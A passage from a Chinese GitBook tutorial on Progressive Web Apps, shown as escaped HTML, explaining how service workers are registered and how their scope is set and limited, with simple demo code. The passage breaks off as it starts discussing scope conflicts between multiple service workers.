</li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >4.2 Service Worker 注册</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x6CE8;&#x518C;\"><b></b>Service Worker &#x6CE8;&#x518C;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F5C;&#x7528;&#x57DF;\"><b></b>&#x4F5C;&#x7528;&#x57DF;</a></li><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;\"><b></b>Service Worker &#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;</a></li><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x6CE8;&#x518C;&#x8BBE;&#x8BA1;\"><b></b>Service Worker &#x6CE8;&#x518C;&#x8BBE;&#x8BA1;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#spa-&#x6CE8;&#x518C;-service-worker\"><b></b>SPA &#x6CE8;&#x518C; Service Worker</a></li><li><span class=\"title-icon \"></span><a href=\"#mpa-&#x6CE8;&#x518C;-service-worker\"><b></b>MPA &#x6CE8;&#x518C; Service Worker</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x66F4;&#x65B0;\"><b></b>Service Worker &#x66F4;&#x65B0;</a></li><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x5BB9;&#x9519;\"><b></b>Service Worker &#x5BB9;&#x9519;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></div><a href=\"#service-worker-&#x6CE8;&#x518C;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"service-worker-&#x6CE8;&#x518C;\"><a name=\"service-worker-&#x6CE8;&#x518C;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x6CE8;&#x518C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x6CE8;&#x518C;\" class=\"plugin-anchor\" href=\"#service-worker-&#x6CE8;&#x518C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x6CE8;&#x518C;</h1>\n<p>&#x901A;&#x8FC7;&#x524D;&#x9762;&#x5BF9; Service Worker &#x6982;&#x5FF5;&#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x6211;&#x4EEC;&#x5BF9; Service Worker &#x7684;&#x4E00;&#x4E9B;&#x6982;&#x5FF5;&#x548C;&#x539F;&#x7406;&#x6709;&#x4E86;&#x4E00;&#x5B9A;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x5728;&#x672C;&#x8282;&#x5C06;&#x4F1A;&#x91CD;&#x70B9;&#x4ECB;&#x7ECD; Service Worker &#x6CE8;&#x518C;&#x7684;&#x76F8;&#x5173;&#x5185;&#x5BB9;&#x3002;&#x4E3B;&#x8981;&#x4F1A;&#x4ECB;&#x7ECD;&#x5982;&#x4F55;&#x4E3A; Web App &#x6CE8;&#x518C;&#x4E00;&#x4E2A; Service Worker&#x3001;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x9879;&#x76EE;&#x67B6;&#x6784;&#x4E0B;&#x6CE8;&#x518C; Service Worker &#x7684;&#x65B9;&#x6CD5;&#x3001;Service Worker &#x6CE8;&#x518C;&#x7684;&#x4E00;&#x4E9B;&#x7EC6;&#x8282;&#x548C;&#x6CE8;&#x610F;&#x70B9;&#x7B49;&#x3002;</p>\n<h2 id=\"&#x4F5C;&#x7528;&#x57DF;\"><a name=\"&#x4F5C;&#x7528;&#x57DF;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F5C;&#x7528;&#x57DF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F5C;&#x7528;&#x57DF;\" class=\"plugin-anchor\" href=\"#&#x4F5C;&#x7528;&#x57DF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F5C;&#x7528;&#x57DF;</h2>\n<p>Service Worker &#x662F;&#x6709;&#x81EA;&#x5DF1;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#xFF0C;Service Worker &#x4F5C;&#x7528;&#x57DF;&#x662F;&#x4E00;&#x4E2A; URL path &#x5730;&#x5740;&#xFF0C;&#x6307;&#x7684;&#x662F; Servcie Worker &#x80FD;&#x591F;&#x63A7;&#x5236;&#x7684;&#x9875;&#x9762;&#x7684;&#x8303;&#x56F4;&#xFF0C;&#x4F8B;&#x5982;&#xFF1A;&#x67D0;&#x4E2A; Service Worker &#x7684;&#x4F5C;&#x7528;&#x57DF;&#x4E3A; <code>https://somehost/a/b/</code>&#xFF0C;&#x90A3;&#x8FD9;&#x4E2A; Service Worker &#x80FD;&#x63A7;&#x5236; <code>https://somehost/a/b/</code> &#x76EE;&#x5F55;&#x4E0B;&#x7684;&#x6240;&#x6709;&#x9875;&#x9762;&#xFF0C;&#x53EF;&#x4EE5;&#x5305;&#x542B;&#x4E0B;&#x9762;&#x5217;&#x51FA;&#x7684;&#x9875;&#x9762;&#xFF1A;</p>\n<ul>\n<li><code>https://somehost/a/b/index.html</code></li>\n<li><code>https://somehost/a/b/c/index.html</code></li>\n<li><code>https://somehost/a/b/anothor.html</code></li>\n<li>...</li>\n</ul>\n<p>&#x6240;&#x8C13;&#x7684; &#x201C;&#x63A7;&#x5236;&#x9875;&#x9762;&#x201D; &#x6307;&#x7684;&#x662F; Service Worker &#x53EF;&#x4EE5;&#x5904;&#x7406;&#x8FD9;&#x4E9B;&#x9875;&#x9762;&#x91CC;&#x9762;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x548C;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x7136;&#x540E;&#x901A;&#x8FC7; Service Worker &#x81EA;&#x8EAB;&#x7684;&#x8C03;&#x5EA6;&#x673A;&#x5236;&#x6784;&#x5EFA;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x3002;&#x5982;&#x679C;&#x9875;&#x9762;&#x4E0D;&#x5728; Service Worker &#x7684;&#x4F5C;&#x7528;&#x57DF;&#x8303;&#x56F4;&#x5185;&#xFF0C;Service Worker &#x5C31;&#x65E0;&#x6CD5;&#x5904;&#x7406;&#x9875;&#x9762;&#x7684;&#x4EFB;&#x4F55;&#x8D44;&#x6E90;&#x6216;&#x8BF7;&#x6C42;&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x52A0;&#x6DF1;&#x5BF9; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x7684;&#x7406;&#x89E3;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x8FD8;&#x662F;&#x6765;&#x770B;&#x4E0B; serviceWorkerDemo &#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#xFF0C;&#x5728; <code>index.html</code> &#x4E2D;&#x4FEE;&#x6539;&#x4E00;&#x4E0B;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.register(&apos;./sw.js&apos;)\n          .then(reg =&gt; {\n            console.log(reg)\n          })\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x9996;&#x5148;&#x4ECE;&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x53EF;&#x4EE5;&#x770B;&#x51FA; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x7684;&#x662F;&#x4E00;&#x4E2A; Promise&#xFF0C;&#x8FD9;&#x4E2A; Promise &#x4E2D; resolve &#x8FD4;&#x56DE;&#x7684;&#x662F; Service Worker &#x6CE8;&#x518C;&#x6210;&#x529F;&#x540E;&#x8FD4;&#x56DE;&#x7684; ServiceWorkerRegistration &#x5BF9;&#x8C61;&#x3002;&#x8FD0;&#x884C;&#x4E4B;&#x540E;&#x5C06;&#x8FD9;&#x4E2A;&#x5BF9;&#x8C61;&#x6253;&#x5370;&#x51FA;&#x6765;&#x7684;&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/service_worker_registration.png\" alt=\"ServiceWorkerRegistration &#x5BF9;&#x8C61;&#x5185;&#x5BB9;\"></p>\n<p>ServiceWorkerRegistration &#x5BF9;&#x8C61;&#x4E2D;&#x7684; scope &#x7684;&#x503C;&#x5C31;&#x662F;&#x5F53;&#x524D;&#x7684; Service Worker &#x7684;&#x4F5C;&#x7528;&#x57DF;&#xFF0C;&#x5728;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x4E2D;&#x4E3A; <code>http://127.0.0.1:8000/</code>&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x66F4;&#x76F4;&#x89C2;&#x7684;&#x770B;&#x5230; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x65B0;&#x5EFA;&#x4E00;&#x4E2A; serviceWorkerScopeDemo &#x9879;&#x76EE;&#xFF0C;&#x9879;&#x76EE;&#x76EE;&#x5F55;&#x7ED3;&#x6784;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token keyword\">.</span>\n&#x2514;&#x2500;&#x2500; serviceWorkerScopeDemo\n    &#x251C;&#x2500;&#x2500; a\n    &#x2502;   &#x2514;&#x2500;&#x2500; b\n    &#x2502;       &#x2514;&#x2500;&#x2500; sw.js\n    &#x2514;&#x2500;&#x2500; index.html\n</code></pre>\n<p>&#x5C06; <code>sw.js</code> &#x653E;&#x5165; <code>/a/b/</code> &#x76EE;&#x5F55;&#x4E0B;&#xFF0C;&#x5C06; <code>index.html</code> &#x4E2D;&#x7684;&#x6CE8;&#x518C; Service Worker &#x903B;&#x8F91;&#x4FEE;&#x6539;&#x4E00;&#x4E0B;&#xFF0C;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Scope Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.register(&apos;./a/b/sw.js&apos;)\n          .then(reg =&gt; {\n            console.log(reg.scope)\n            // http://127.0.0.1:8000/a/b/\n          })\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5C06; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x7684; Service Worker &#x6587;&#x4EF6; URL &#x6539;&#x6210; <code>./a/b/sw.js</code>&#xFF0C;&#x8FD0;&#x884C;&#x7ED3;&#x679C;&#x6253;&#x5370;&#x51FA;&#x6765;&#x7684; scope &#x7ED3;&#x679C;&#x4E3A; <code>http://127.0.0.1:8000/a/b/</code>&#x3002;&#x901A;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#x5728;&#x6CE8;&#x518C; <code>sw.js</code> &#x7684;&#x65F6;&#x5019;&#x4F1A;&#x5FFD;&#x7565; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x7684;&#x95EE;&#x9898;&#xFF0C;Service Worker &#x9ED8;&#x8BA4;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x5C31;&#x662F;&#x6CE8;&#x518C;&#x65F6;&#x5019;&#x7684; path, &#x4F8B;&#x5982;&#xFF1A;Service Worker &#x6CE8;&#x518C;&#x7684; path &#x4E3A; <code>/a/b/sw.js</code>&#xFF0C;&#x5219; scope &#x9ED8;&#x8BA4;&#x4E3A; <code>/a/b/</code>&#x3002;</p>\n<p>&#x4E5F;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5728;&#x6CE8;&#x518C;&#x65F6;&#x5019;&#x5728; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x4E2D;&#x4F20;&#x5165; <code>{scope: &apos;/some/scope/&apos;}</code> &#x53C2;&#x6570;&#x7684;&#x65B9;&#x5F0F;&#x81EA;&#x5DF1;&#x6307;&#x5B9A;&#x4F5C;&#x7528;&#x57DF;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Scope Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.register(&apos;./a/b/sw.js&apos;, {\n          // &#x624B;&#x52A8;&#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;\n          scope: &apos;/a/b/c/&apos;\n        }).then(reg =&gt; {\n          console.log(reg.scope)\n          // http://127.0.0.1:8000/a/b/c/\n        })\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5C06; scope &#x914D;&#x7F6E; <code>{scope: &apos;/a/b/c/&apos;}</code> &#x4F20;&#x5165; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x8FD0;&#x884C;&#x540E;&#x6253;&#x5370;&#x51FA;&#x6765;&#x7684;&#x5185;&#x5BB9;&#x4E3A; <code>http://127.0.0.1:8000/a/b/c/</code>&#x3002;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x53C2;&#x6570;&#x4E3A; Service Worker &#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x8FD9;&#x4E2A;&#x81EA;&#x5B9A;&#x4E49;&#x4F5C;&#x7528;&#x57DF;&#x662F;&#x4E0D;&#x53EF;&#x4EE5;&#x968F;&#x610F;&#x6307;&#x5B9A;&#x7684;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x4FEE;&#x6539; <code>index.html</code>&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Scope Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.register(&apos;./a/b/sw.js&apos;, {\n          scope: &apos;/a/&apos;\n        }).then(reg =&gt; {\n          console.log(reg.scope)\n        })\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x5C06;&#x4F5C;&#x7528;&#x57DF;&#x6307;&#x5B9A;&#x4E3A; <code>/a/</code>&#xFF0C;&#x8FD0;&#x884C;&#x540E;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x62A5;&#x9519;&#xFF0C;&#x62A5;&#x9519;&#x7684;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/service_worker_scope_error.png\" alt=\"Service Worker &#x4F5C;&#x7528;&#x57DF;&#x62A5;&#x9519;&#x4FE1;&#x606F;\"></p>\n<p>&#x901A;&#x8FC7;&#x62A5;&#x9519;&#x4FE1;&#x606F;&#x77E5;&#x9053; <code>sw.js</code> &#x6587;&#x4EF6;&#x6240;&#x5728;&#x7684; URL &#x7684; path &#x662F; <code>/a/b/</code>&#xFF0C;&#x5219;&#x9ED8;&#x8BA4;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x548C;&#x6700;&#x5927;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x90FD;&#x662F; <code>/a/b/</code>&#xFF0C;&#x4E0D;&#x5141;&#x8BB8;&#x6307;&#x5B9A;&#x8D85;&#x8FC7;&#x6700;&#x5927;&#x4F5C;&#x7528;&#x57DF;&#x8303;&#x56F4;&#x7684; <code>/a/</code> &#x4E3A;&#x4F5C;&#x7528;&#x57DF;&#x3002;</p>\n<p>&#x901A;&#x4FD7;&#x7684;&#x8BB2;&#xFF0C;Service Worker &#x6700;&#x591A;&#x53EA;&#x80FD;&#x5728; Service Worker &#x6587;&#x4EF6; URL path &#x8303;&#x56F4;&#x5185;&#x53D1;&#x6325;&#x4F5C;&#x7528;&#xFF0C;&#x4EE5;&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4E3A;&#x4F8B;&#xFF0C;<code>/a/b/</code>&#xFF0C;<code>/a/b/c/</code>&#xFF0C;<code>/a/b/c/d/</code> &#x4E0B;&#x7684;&#x9875;&#x9762;&#x90FD;&#x53EF;&#x4EE5;&#x88AB;&#x6CE8;&#x518C;&#x7684; Service Worker &#x63A7;&#x5236;&#x3002;&#x4F46;&#x662F; <code>/a/</code>&#x3001;<code>/e/f/</code> &#x76EE;&#x5F55;&#x4E0B;&#x9762;&#x7684;&#x9875;&#x9762;&#x662F;&#x4E0D;&#x53D7;&#x6CE8;&#x518C;&#x7684; Service Worker &#x7684;&#x63A7;&#x5236;&#x7684;&#xFF08;&#x5F53;&#x7136;&#x6D4F;&#x89C8;&#x5668;&#x4E5F;&#x4F1A;&#x629B;&#x51FA;&#x9519;&#x8BEF;&#x544A;&#x77E5;&#x5F00;&#x53D1;&#x8005;&#xFF09;&#x3002;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#xFF0C;&#x5728;&#x6700;&#x5927;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#x624D;&#x80FD;&#x901A;&#x8FC7; scope &#x914D;&#x7F6E;&#x5728;&#x6CE8;&#x518C; Service Worker &#x7684;&#x65F6;&#x5019;&#x6307;&#x5B9A;&#x81EA;&#x5B9A;&#x4E49;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x3002;</p>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x7C7B;&#x4F3C;&#x4E8E; Ajax &#x7684;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5BF9;&#x8BF7;&#x6C42;&#x7684; Access-Control-Allow-Origin &#x8BBE;&#x7F6E;&#xFF0C;&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x670D;&#x52A1;&#x5668;&#x5BF9; sw.js &#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#x7684;&#x8BF7;&#x6C42;&#x5934;&#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x7A81;&#x7834;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5728;&#x670D;&#x52A1;&#x7AEF;&#x5BF9; sw.js &#x8BF7;&#x6C42;&#x8BBE;&#x7F6E; Service-Worker-Allowed &#x8BF7;&#x6C42;&#x5934;&#x4E3A;&#x66F4;&#x5927;&#x63A7;&#x5236;&#x8303;&#x56F4;&#x6216;&#x8005;&#x5176;&#x4ED6;&#x63A7;&#x5236;&#x8303;&#x56F4;&#x7684; scope &#x5373;&#x53EF;&#x3002;&#x5982;&#xFF1A;<code>Service-Worker-Allowed: /a/</code>&#x3002;</p>\n</blockquote>\n<h2 id=\"service-worker-&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;\"><a name=\"service-worker-&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;\" class=\"plugin-anchor\" href=\"#service-worker-&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;</h2>\n<p>&#x901A;&#x8FC7;&#x5BF9; Service Woker &#x4F5C;&#x7528;&#x57DF;&#x7684;&#x4E86;&#x89E3;&#x4F1A;&#x53D1;&#x73B0;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#xFF1A;<strong>&#x4F1A;&#x4E0D;&#x4F1A;&#x5B58;&#x5728;&#x591A;&#x4E2A; Service Worker &#x63A7;&#x5236;&#x4E00;&#x4E2A;&#x9875;&#x9762;&#x7684;&#x60C5;&#x51B5;&#x5462;&#xFF1F;</strong> &#x63A5;&#x4E0B;&#x6765;&#x518D;&#x65B0;&#x5EFA; serviceWorkerScopeDemo1 &#x9879;&#x76EE;&#x6765;&#x4E86;&#x89E3;&#x6CE8;&#x518C;&#x591A;&#x4E2A; Service Worker 